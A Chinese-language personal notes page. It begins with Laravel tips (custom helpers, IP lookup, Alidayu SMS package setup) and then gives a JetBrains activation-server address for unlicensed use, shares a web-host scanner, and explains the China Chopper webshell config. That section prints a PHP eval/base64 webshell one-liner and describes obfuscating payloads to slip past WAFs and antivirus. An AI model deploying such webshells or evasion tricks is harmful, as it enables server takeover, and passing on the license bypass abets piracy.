laravel 手记

laravel 5.2 手动增加helpers.php

在app目录下面建立文件夹Libraries.在该文件夹下面创建文件helpers.php,文件内容如下

<?php
/**
 * User: Sky
 * Date: 2016-07-25
 * Time: 13:25
 */

if(! function_exists('TestFun')){
    function TestFun($test){
        return $test
    }

}

然后修改bootstrap目录下面的autoload.php文件内容
require __DIR__.'/../vendor/autoload.php';下面添加require __DIR__.'/../app/Libraries/helpers.php';
这样就可以了= =,

==========================================================================
删除laravel中安装过不想用的包

composer remove "vendor/packagename"

获取客户端ip的话用

use Illuminate\Support\Facades\Request;

然后在用该类下面的getClientIp方法
如:

$ip=Request::getClientIp()

=========================================================================
阿里大于sms短信通知接口

https://packagist.org/packages/iscms/alisms-for-laravel

配置方法:
从终端或命令行进入您的项目目录,运行

composer require iscms/alisms-for-laravel

iscms\Alisms\AlidayuServiceProvider::class

加入config\app.php的Providers下 类似

 ...
    /*
     * Application Service Providers...
    */
    App\Providers\AppServiceProvider::class,
    App\Providers\AuthServiceProvider::class,
    App\Providers\EventServiceProvider::class,
    App\Providers\RouteServiceProvider::class,
    ...
    iscms\Alisms\AlidayuServiceProvider::class

运行

php artisan vendor:publish

将配置文件发布到您的配置目录中 4. 您的config目录应该增加了alisms.php配置文件

<?php
    return [
        'KEY' =>env('ALISMS_KEY',null),
        'SECRETKEY'=>env('ALISMS_SECRETKEY',null),
    ];

5.然后您需要在您项目的 ENV 配置文件中写入 SMS 配置 例如

   ALISMS_KEY=23305789
   ALISMS_SECRETKEY=**************

此处ALISMS_SECRETKEY是指您的账户应用密码,请勿透露给他人

开始使用
在您需要调用短信服务的控制器中,引用SMS

use iscms\Alisms\SendsmsPusher as Sms;
public function __construct(Sms $sms)
{
   $this->sms=$sms;
}

public function index()
{
   $result=$this->sms->send("$phone","$name","$content",'$code');
}
  1. 返回执行发送的结果

参数说明
在开始使用中 send 方法一共加入了4个参数

$phone,$name,$content,$code $phone 指接受短信方的短信号码, $name 指短信签名
可以在阿里大鱼短信签名 http://www.alidayu.com/admin/service/sign 找到 $content
是指短信模板中的变量内容.举个例子

在自己的阿里大鱼模板里面有下面一个短信模板

 模板名称: 身份验证验证码
    模板ID: SMS_3910275
    *模板内容:
    验证码${code},您正在进行${product}身份验证,打死不要告诉别人哦!
那么里面存在着2个变量需要替换,一个是${code} ,一个是${product}

那么对应的我们的$content 就应该为

 {
      code:"生成的验证码",
      product:"示例项目"
    }

$code 指在阿里云中的模板ID,上面的例子中使用了一个身份验证模板,那$code 应该填写 > SMS_3910275
到这里应该没有问题了,开始发送短信吧~ ^_^
================================================================================
其他的,用到了在补上

Idea 激活服务器

主要平时老用jetbrains系列的编辑器,每次还要激活找激活码什么的,太麻烦了,就自己搭建了一个,方便自己用.

激活过程如下:
1、激活的时候选择License server
2、填写server地址为http://idea.03sec.com:8727
3、保存,激活成功!
下载.png

以爬虫式进行网段Web主机发现的小工具【httpscan】

逛github,发现一个小工具,扔出了分享下

原github地址:https://github.com/zer0h/httpscan

httpscan是一个扫描指定CIDR网段的Web主机的小工具。和端口扫描器不一样,httpscan是以爬虫的方式进行Web主机发现,因此相对来说不容易被防火墙拦截。

httpscan会返回IP http状态码 Web容器版本 以及网站标题。

demo.png

Usage:./httpscan IP/CIDR –t threads

Example:./httpscan.py 10.20.30.0/24 –t 10

caidao.conf参数表

  1. <FLAG>

返回的内容分隔符,只限三个字符。我们知道原来的分割符是 ->| 与 |<-, 有些 waf 会拦截这个字符,所以,我们可以用生辟点的字符,比如说 ~>$。

  1. <UA>

定制 HTTP 请求中的 User-Agent 部分,我们看到默认的 caidao.conf 中将 UA 改成了百度蜘蛛的 UA, 当然你可以改成 Google 的嘛。有些时候需要改改,大部分情况下这个参数可以不用改。

  1. <K1> 与 <K2>

POST的参数名称,默认情况下, K1 是 z1,K2 是 z2。一般情况下,waf 是不会拦这个,所以可以不用改。

  1. <PHP_BASE>, <ASP_BASE>, <ASPX_BASE>, <PHP_BASE.加密示例>

这4个是 webshell 的基础代码部分,所有的功能代码都会发到这里进行组装,然后发送到服务端去。

如果你服务端的 webshell 做了一层加解密操作,比如服务端代码是这样的

<?php @eval(base64_decode($_POST['caidao']));?>

那么,你就可以在这里修改配置为

<PHP_BASE.加密示例>eval(base64_decode($_POST[id]));&id=%s</PHP_BASE.加密示例>

可以负责任的讲,免杀,过 waf 大部分都是在这里作文章的,后面基本都是一些功能函数,waf 一般是不会杀的,他要是敢杀,就证明他的业务中不需要那类操作。

这里就有意思了,你想,以前的菜刀只有一个 base64_decode 那现在,你就可以随便改了,比如说,你用 hex, 再比如你可以用凯撒密码,又或者是栅栏密码,再过分点,你可以用 AES, DES,最过分的就是自己写一个加密解密的算法。那样 waf 想拦就很尴尬了。(作者说的过 waf 大概就是这层意思吧)

  1. <GETBASEINFO>

获取基础信息的功能代码。比如你添加完 shell, 直接去虚拟终端,一进去就会显示当前路径,当前用户,系统类型什么的这些。

  1. <SHOWFOLDER>

文件目录查看功能代码。这里主要就是用户传进来一个路径,然后把这个路径下的目录,文件全都显示出来,包括一些属性,比如文件时间,权限,类型等。

  1. <SHOWTXTFILE>

查看文件内容,编辑文件也首先调用的就是这里。

  1. <SAVETXTFILE>

保存文件。

  1. <DELETEFILE>

删除文件。

10.<DOWNFILE>

下载服务器文件到本地。

  1. <UPLOADFILE>

上传文件到服务端。

  1. <PASTEFILE>

粘贴文件。

  1. <NEWFOLDER>

新建目录。

  1. <WGET>

从远程下载一个文件到服务器。

  1. <SHELL>

执行系统命令,这里比较尴尬的地方,就是相关函数被干掉的话,基本是没戏。

其它的就是一些数据库的功能代码了,我实在是不想写了,就那几个单词,百度翻译都知道是什么意思,我就不翻译了哈。